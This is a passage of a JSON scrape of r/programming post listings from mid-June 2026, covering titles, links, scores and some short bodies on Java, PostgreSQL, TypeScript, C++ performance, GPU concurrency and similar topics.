  "numComments": 42,
  "createdAt": "2026-06-19T21:39:31.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.timwehrle.de/blog/i-stored-a-website-in-a-favicon/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uacwhu",
  "url": "https://www.jvm-weekly.com/p/project-valhalla-explained-how-a",
  "permalink": "https://www.reddit.com/r/programming/comments/1uacwhu/project_valhalla_explained_how_a_decade_of_work/",
  "title": "Project Valhalla, Explained: How a Decade of Work Arrives in JDK 28",
  "body": null,
  "author": "stronghup",
  "subreddit": "programming",
  "score": 166,
  "upvoteRatio": 0.92,
  "numComments": 30,
  "createdAt": "2026-06-19T20:31:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.jvm-weekly.com/p/project-valhalla-explained-how-a",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1uaarha",
  "url": "https://youtu.be/glA_e_BNnjc",
  "permalink": "https://www.reddit.com/r/programming/comments/1uaarha/i_fixed_the_most_annoying_thing_in_my_smart_home/",
  "title": "I Fixed the Most Annoying Thing in My Smart Home | Zigbee Smart home using Python",
  "body": null,
  "author": "btb331",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.27,
  "numComments": 3,
  "createdAt": "2026-06-19T19:05:52.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/glA_e_BNnjc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ua96l5",
  "url": "https://labs.iximiuz.com/tutorials/ssh-tunnels",
  "permalink": "https://www.reddit.com/r/programming/comments/1ua96l5/a_practical_guide_to_ssh_tunnels_local_and_remote/",
  "title": "A Practical Guide to SSH Tunnels: Local and Remote Port Forwarding",
  "body": null,
  "author": "iximiuz",
  "subreddit": "programming",
  "score": 104,
  "upvoteRatio": 0.93,
  "numComments": 7,
  "createdAt": "2026-06-19T18:05:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://labs.iximiuz.com/tutorials/ssh-tunnels",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ua8f9k",
  "url": "https://bitrise.io/blog/post/wwdc-2026-device-hub-and-what-it-means-for-ci-cd",
  "permalink": "https://www.reddit.com/r/programming/comments/1ua8f9k/apple_unifies_device_and_simulator_management_in/",
  "title": "Apple unifies device and simulator management in devicectl, here's what it means for iOS test automation and CI/CD",
  "body": null,
  "author": "West-Chard-1474",
  "subreddit": "programming",
  "score": 34,
  "upvoteRatio": 0.84,
  "numComments": 0,
  "createdAt": "2026-06-19T17:37:10.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://bitrise.io/blog/post/wwdc-2026-device-hub-and-what-it-means-for-ci-cd",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ua8b6p",
  "url": "https://tomj.pro/i-replaced-json-with-a-custom-binary-format-in-php/",
  "permalink": "https://www.reddit.com/r/programming/comments/1ua8b6p/i_replaced_json_with_a_custom_binary_format_in_php/",
  "title": "I Replaced JSON With a Custom Binary Format. In PHP.",
  "body": null,
  "author": "Old-Illustrator-8692",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 20,
  "createdAt": "2026-06-19T17:32:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://tomj.pro/i-replaced-json-with-a-custom-binary-format-in-php/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1ua2lxq",
  "url": "https://yusufaytas.com/old-software-was-fast-because-it-had-no-choice",
  "permalink": "https://www.reddit.com/r/programming/comments/1ua2lxq/old_software_was_fast_because_it_had_no_choice/",
  "title": "Old Software Was Fast Because It Had No Choice",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 1410,
  "upvoteRatio": 0.94,
  "numComments": 378,
  "createdAt": "2026-06-19T13:52:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yusufaytas.com/old-software-was-fast-because-it-had-no-choice",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u9z8i8",
  "url": "https://blog.cloudflare.com/build-your-own-vulnerability-harness/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u9z8i8/build_your_own_vulnerability_harness/",
  "title": "Build your own vulnerability harness",
  "body": null,
  "author": "CircumspectCapybara",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.6,
  "numComments": 13,
  "createdAt": "2026-06-19T11:17:17.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.cloudflare.com/build-your-own-vulnerability-harness/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u9yk1j",
  "url": "https://6it.dev/blog/infographics-operation-costs-in-cpu-clock-cycles-take-2-80736",
  "permalink": "https://www.reddit.com/r/programming/comments/1u9yk1j/efficient_c_programming_for_modern_c_cpus_chapter/",
  "title": "Efficient C++ Programming for Modern C++ CPUs, Chapter 4/part 2",
  "body": "# Efficient C++ Programming for Modern 64-bit CPUs, Chapter 4/part 2\n\nHere comes the 2nd installment of (VERY DRAFT) Chapters from my (and Dmytro Ivanchykhin's) upcoming book, *\"Efficient C++ Programming for Modern 64-bit CPUs\"*. Comments are extremely welcome (as before, we're committed to fixing all the issues highlighted in comments).\n\nSecond part of Chapter 4 (the one on CPU Physics and CPU Cycles): [https://6it.dev/blog/infographics-operation-costs-in-cpu-clock-cycles-take-2-80736](https://6it.dev/blog/infographics-operation-costs-in-cpu-clock-cycles-take-2-80736) . In addition to some interesting data (in particular, micro-research on the progress of MUL/DIV ops since 2017), it has that visualization of the different times quite a few ppl here have asked for.\n\n**DISCLAIMERS:**\n\n\\- it is VERY DRAFT (editing is coming)\n\n\\- this is not a book on optimizations (though some techniques will be covered in Appendices A and B in Vol. 2) - this is a book on de-pessimizations; for optimizations - please refer to the excellent book by Denis Bakhvalov (though we're sure that de-pessimizations should be seen as a prerequisite for optimizations 😉).",
  "author": "no-bugs",
  "subreddit": "programming",
  "score": 90,
  "upvoteRatio": 0.9,
  "numComments": 9,
  "createdAt": "2026-06-19T10:40:29.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://6it.dev/blog/infographics-operation-costs-in-cpu-clock-cycles-take-2-80736",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u9x6ur",
  "url": "https://noteflakes.com/articles/2026-06-18-syntropy-modules",
  "permalink": "https://www.reddit.com/r/programming/comments/1u9x6ur/rethinking_modularity_in_ruby_applications/",
  "title": "Rethinking modularity in Ruby applications",
  "body": null,
  "author": "noteflakes",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.81,
  "numComments": 2,
  "createdAt": "2026-06-19T09:21:57.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://noteflakes.com/articles/2026-06-18-syntropy-modules",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u9wq7z",
  "url": "https://mlangc.github.io/java/concurrency/2026/06/05/executor-deadlock.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1u9wq7z/how_to_deadlock_a_java_executorservice/",
  "title": "How to Deadlock a Java ExecutorService",
  "body": null,
  "author": "mlangc",
  "subreddit": "programming",
  "score": 6,
  "upvoteRatio": 0.8,
  "numComments": 0,
  "createdAt": "2026-06-19T08:54:26.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mlangc.github.io/java/concurrency/2026/06/05/executor-deadlock.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u9geb4",
  "url": "https://mamund.substack.com/p/going-beyond-the-hyperlink",
  "permalink": "https://www.reddit.com/r/programming/comments/1u9geb4/going_beyond_the_hyperlink/",
  "title": "Going Beyond the Hyperlink",
  "body": null,
  "author": "fagnerbrack",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.33,
  "numComments": 3,
  "createdAt": "2026-06-18T19:47:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://mamund.substack.com/p/going-beyond-the-hyperlink",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u9aktp",
  "url": "https://www.snowflake.com/en/blog/engineering/postgresql-19-features-beta/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u9aktp/whats_new_in_postgres_19_beta_release_deep_dive/",
  "title": "What's New in Postgres 19: Beta Release Deep Dive",
  "body": null,
  "author": "craigkerstiens",
  "subreddit": "programming",
  "score": 74,
  "upvoteRatio": 0.95,
  "numComments": 4,
  "createdAt": "2026-06-18T16:12:58.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.snowflake.com/en/blog/engineering/postgresql-19-features-beta/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u9adv5",
  "url": "https://deepsystemstuff.com/how-modern-indexing-works-in-postgresql/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u9adv5/how_modern_indexing_works_in_postgresql_in_depth/",
  "title": "How Modern Indexing works in PostgreSQL- In depth explanation of how Indexing in PostgreSQL works and what enahncements Postgres has adapted that makes Indexing more faster.",
  "body": "Thinking about indexing, we know a only a big picture that uses B-Tree structures in memory, but in modern DBMs systems there are some enhancements introduced in indexing where systems like PostgreSQL are utilizing some new OS system calls like io\\_uring to make syncrhonous IO reading, also direct retrieval of record from disk using functions like fseek() and in memory optimization of traversing like applying binary search on leaf page.\n\nPostgreSQL always keeps a file for indexing, unlike MySQL where it only keeps an indexing file for non-clustered indexing, and clustered indexing is calculated directly from the table, it is interesting to study the indexing file structure as well\n\nIndex file structure has line pointers, TID called as tuple ID Tuple is the column value, the same column you registered for indexing, by using which Postgres calculates the actual physical address of the records from the disk to fetch it directly.\n\nPostgres has another interesting feature, while creating an index, it always sorts data and maintains ranges of pages in page 0 of the indexing, where Postgres can identify which page to look for and then load that page into memory, and then it becomes a leaf page, then binary search is performed to get the actual TID so that the record can be fetched directly\n\nFor an in-depth explanation about the index file structure, loading the index file into memory, and then searching for the actual record's address, check out the given link",
  "author": "Ok_Stomach6651",
  "subreddit": "programming",
  "score": 28,
  "upvoteRatio": 0.73,
  "numComments": 25,
  "createdAt": "2026-06-18T16:05:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://deepsystemstuff.com/how-modern-indexing-works-in-postgresql/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u996ko",
  "url": "https://vigna.di.unimi.it/ftp/papers/LXM.pdf",
  "permalink": "https://www.reddit.com/r/programming/comments/1u996ko/lxm_better_splittable_pseudorandom_number/",
  "title": "LXM: Better Splittable Pseudorandom Number Generators (and Almost as Fast) - PDF",
  "body": null,
  "author": "atoponce",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.6,
  "numComments": 0,
  "createdAt": "2026-06-18T15:20:25.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://vigna.di.unimi.it/ftp/papers/LXM.pdf",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u97we9",
  "url": "https://devblogs.microsoft.com/typescript/announcing-typescript-7-0-rc/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u97we9/announcing_typescript_70_rc/",
  "title": "Announcing TypeScript 7.0 RC",
  "body": null,
  "author": "DanielRosenwasser",
  "subreddit": "programming",
  "score": 407,
  "upvoteRatio": 0.94,
  "numComments": 81,
  "createdAt": "2026-06-18T14:31:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://devblogs.microsoft.com/typescript/announcing-typescript-7-0-rc/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u96myu",
  "url": "https://orchidfiles.com/github-repositories-distributing-malware/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u96myu/how_i_found_10000_github_repositories/",
  "title": "How I found 10,000 GitHub repositories distributing Trojan malware",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 280,
  "upvoteRatio": 0.94,
  "numComments": 10,
  "createdAt": "2026-06-18T13:42:21.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://orchidfiles.com/github-repositories-distributing-malware/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u96mlc",
  "url": "https://www.rahuljuliato.com/posts/emacs-31-around-the-corner",
  "permalink": "https://www.reddit.com/r/programming/comments/1u96mlc/emacs_31_is_around_the_corner_the_changes_im/",
  "title": "Emacs 31 Is Around the Corner: The Changes I'm Already Daily Driving",
  "body": null,
  "author": "BlondieCoder",
  "subreddit": "programming",
  "score": 104,
  "upvoteRatio": 0.9,
  "numComments": 14,
  "createdAt": "2026-06-18T13:41:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.rahuljuliato.com/posts/emacs-31-around-the-corner",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u968em",
  "url": "https://yogthos.net/posts/2026-06-17-perlin-flow.html",
  "permalink": "https://www.reddit.com/r/programming/comments/1u968em/the_hidden_elegance_of_gradient_noise/",
  "title": "The Hidden Elegance of Gradient Noise",
  "body": null,
  "author": "yogthos",
  "subreddit": "programming",
  "score": 19,
  "upvoteRatio": 0.83,
  "numComments": 0,
  "createdAt": "2026-06-18T13:25:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://yogthos.net/posts/2026-06-17-perlin-flow.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u94nvo",
  "url": "https://youtu.be/sfqHggWY5Ds?list=PLEx5khR4g7PJbSLmADahf0LOpTLifiCra",
  "permalink": "https://www.reddit.com/r/programming/comments/1u94nvo/the_c4_model_visualizing_software_architecture/",
  "title": "The C4 Model: Visualizing Software Architecture • Simon Brown & Susanne Kaiser",
  "body": "Simon Brown explains that the C4 Model started not as a grand design theory, but as a practical answer to an embarrassing problem. Furthermore, he answers the question on how to handle microservices in C4 and explains the important distinction between modeling and diagramming.",
  "author": "goto-con",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.72,
  "numComments": 10,
  "createdAt": "2026-06-18T12:17:04.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/sfqHggWY5Ds?list=PLEx5khR4g7PJbSLmADahf0LOpTLifiCra",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u94e1y",
  "url": "https://youtu.be/VxN-jrjF_GA",
  "permalink": "https://www.reddit.com/r/programming/comments/1u94e1y/java_27_features_what_to_expect/",
  "title": "Java 27 Features: what to expect?",
  "body": null,
  "author": "Maria_3464",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 0,
  "createdAt": "2026-06-18T12:03:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://youtu.be/VxN-jrjF_GA",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u92q7v",
  "url": "https://www.youtube.com/watch?v=kZd7Em-MM0c",
  "permalink": "https://www.reddit.com/r/programming/comments/1u92q7v/building_video_games_with_20_year_old_tech/",
  "title": "Building video games with 20 year old tech",
  "body": null,
  "author": "r_retrohacking_mod2",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.79,
  "numComments": 0,
  "createdAt": "2026-06-18T10:36:08.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.youtube.com/watch?v=kZd7Em-MM0c",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u90vnj",
  "url": "https://event-driven.io/en/announcing-strictland-contract-testing/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u90vnj/announcing_strictland_new_contract_testing/",
  "title": "Announcing Strictland - new contract testing library for message compatibility",
  "body": null,
  "author": "Adventurous-Salt8514",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.22,
  "numComments": 0,
  "createdAt": "2026-06-18T08:46:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://event-driven.io/en/announcing-strictland-contract-testing/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u8xxwb",
  "url": "https://www.hanselman.com/blog/sandcastle-microsoft-ctp-of-a-help-chm-file-generator-on-the-tails-of-the-death-of-ndoc",
  "permalink": "https://www.reddit.com/r/programming/comments/1u8xxwb/sandcastle_microsoft_ctp_of_a_help_chm_file/",
  "title": "Sandcastle - Microsoft CTP of a Help CHM file generator on the tails of the death of NDoc",
  "body": null,
  "author": "Successful_Bowl2564",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.4,
  "numComments": 3,
  "createdAt": "2026-06-18T05:50:30.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.hanselman.com/blog/sandcastle-microsoft-ctp-of-a-help-chm-file-generator-on-the-tails-of-the-death-of-ndoc",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u8xxp7",
  "url": "https://www.researchgate.net/publication/405200993_Ranja_Enabling_Smart_Caches_for_Distributed_Database_Serving_Layers",
  "permalink": "https://www.reddit.com/r/programming/comments/1u8xxp7/ranja_enabling_smart_caches_for_distributed/",
  "title": "Ranja: Enabling Smart Caches for Distributed Database Serving Layers",
  "body": null,
  "author": "arnonrgo",
  "subreddit": "programming",
  "score": 9,
  "upvoteRatio": 1,
  "numComments": 0,
  "createdAt": "2026-06-18T05:50:12.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.researchgate.net/publication/405200993_Ranja_Enabling_Smart_Caches_for_Distributed_Database_Serving_Layers",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u8qbul",
  "url": "https://arxiv.org/abs/2606.15991",
  "permalink": "https://www.reddit.com/r/programming/comments/1u8qbul/fearless_concurrency_on_the_gpu_paper/",
  "title": "Fearless Concurrency on the GPU (paper)",
  "body": "Hi folks,  \n  \nI wrote a paper, Fearless Concurrency on the GPU, and maintain the related repository cuTile Rust (https://github.com/nvlabs/cutile-rs).  \n  \nThe idea is to establish a safe way to write async kernel launch code, extend that across the kernel launch boundary, and sustain (to the extent possible) a safe programming model for GPU programming in Rust. We provide a variety of tools to enable static bounds checks so that the data-race freedom is effectively zero-cost.  \n  \nSharing in case it's of interest. Happy to answer questions.",
  "author": "Exciting_Suspect9088",
  "subreddit": "programming",
  "score": 38,
  "upvoteRatio": 0.85,
  "numComments": 3,
  "createdAt": "2026-06-17T23:36:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://arxiv.org/abs/2606.15991",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u8kqxx",
  "url": "https://rustfoundation.org/media/on-openais-support-for-rust/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u8kqxx/openai_joins_the_rust_foundation_as_a_platinun/",
  "title": "OpenAI joins The Rust Foundation as a Platinun member and donates funds to support Rust maintenance",
  "body": null,
  "author": "JuanAG",
  "subreddit": "programming",
  "score": 371,
  "upvoteRatio": 0.9,
  "numComments": 90,
  "createdAt": "2026-06-17T19:54:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://rustfoundation.org/media/on-openais-support-for-rust/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u8cee1",
  "url": "https://nick.zoic.org/art/forest-for-the-trees/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u8cee1/forest_for_the_trees_an_adventure_in_structured/",
  "title": "Forest for the trees: An adventure in structured data",
  "body": null,
  "author": "Xadartt",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.82,
  "numComments": 0,
  "createdAt": "2026-06-17T14:52:56.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://nick.zoic.org/art/forest-for-the-trees/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u89gok",
  "url": "https://leetarxiv.substack.com/p/forward-forward-algorithm-hinton",
  "permalink": "https://www.reddit.com/r/programming/comments/1u89gok/hintons_forward_forward_algorithm_in_python/",
  "title": "Hinton's Forward Forward Algorithm in Python",
  "body": null,
  "author": "DataBaeBee",
  "subreddit": "programming",
  "score": 10,
  "upvoteRatio": 0.73,
  "numComments": 0,
  "createdAt": "2026-06-17T12:57:23.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://leetarxiv.substack.com/p/forward-forward-algorithm-hinton",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u891hi",
  "url": "https://github.com/dominikbraun/graph/tree/v0.23.0",
  "permalink": "https://www.reddit.com/r/programming/comments/1u891hi/a_library_for_pathfinding_traversal_and/",
  "title": "A library for pathfinding, traversal, and transformation of graph structures",
  "body": null,
  "author": "High-Impact-2025",
  "subreddit": "programming",
  "score": 21,
  "upvoteRatio": 0.81,
  "numComments": 4,
  "createdAt": "2026-06-17T12:38:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/dominikbraun/graph/tree/v0.23.0",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u84m2g",
  "url": "https://www.rfc-editor.org/info/rfc10008/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u84m2g/rfc_10008_the_http_query_method/",
  "title": "RFC 10008: The HTTP QUERY Method",
  "body": null,
  "author": "Nimelrian",
  "subreddit": "programming",
  "score": 613,
  "upvoteRatio": 0.97,
  "numComments": 129,
  "createdAt": "2026-06-17T08:43:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.rfc-editor.org/info/rfc10008/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u7q8pg",
  "url": "https://sanyamserver.online/posts/nginx-reverse-proxy/",
  "permalink": "https://www.reddit.com/r/programming/comments/1u7q8pg/nginx_explained_in_plain_english/",
  "title": "Nginx explained in plain English",
  "body": null,
  "author": "AdvertisingFancy7011",
  "subreddit": "programming",
  "score": 331,
  "upvoteRatio": 0.94,
  "numComments": 12,
  "createdAt": "2026-06-16T21:08:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://sanyamserver.online/posts/nginx-reverse-proxy/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u7o7s0",
  "url": "https://newsletter.pragmaticengineer.com/p/why-is-meta-destroying-its-engineering",
  "permalink": "https://www.reddit.com/r/programming/comments/1u7o7s0/why_is_meta_destroying_its_engineering/",
  "title": "Why is Meta destroying its engineering organization? Great breakdown",
  "body": null,
  "author": "West-Chard-1474",
  "subreddit": "programming",
  "score": 1131,
  "upvoteRatio": 0.97,
  "numComments": 203,
  "createdAt": "2026-06-16T19:53:19.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://newsletter.pragmaticengineer.com/p/why-is-meta-destroying-its-engineering",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u7mj5r",
  "url": "https://github.com/ByThePowerOfScience/Blog/blob/main/OOP_is_just_spicy_FP.md",
  "permalink": "https://www.reddit.com/r/programming/comments/1u7mj5r/oop_is_just_named_fp/",
  "title": "OOP is just Named FP",
  "body": "I spent a *long time* dissecting OOP and I had a really interesting realization.  If you're as interested in software design as I am, I think it might open a new perspective for structuring your programs.\n\nI'm obviously leaving out a lot, but if you're intuitively familiar with the concepts behind OOP, you should understand the parts I left implied.\n\n---\n\nTHIS ISN'T AI, GOOD GOD GUYS.  I literally write for fun; why the hell would I let a bot do what I love for me???  I'd rather let it screw my wife than take away my communication.\n\n(I _am_ starting to wonder if I inadvertently learned the italics and bolding from people using AI though... though I'm pretty sure I actually learned it from pre-AI engagement-farming posts.  I just like carrying my speaking tone when I write ;_;)",
  "author": "bythepowerofscience",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.37,
  "numComments": 29,
  "createdAt": "2026-06-16T18:53:03.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/ByThePowerOfScience/Blog/blob/main/OOP_is_just_spicy_FP.md",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "new",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_1u7m1fa",
  "url": "https://amrdeveloper.medium.com/heterogeneous-pythonic-language-in-your-pocket-921f2197bc39",
  "permalink": "https://www.reddit.com/r/programming/comments/1u7m1fa/heterogeneous_pythonic_language_in_your_pocket/",
  "title": "Heterogeneous Pythonic language in your pocket",
  "body": null,
  "author": "AmrDeveloper",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.47,
  "numComments": 3,
  "createdAt": "2026-06-16T18:35:44.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
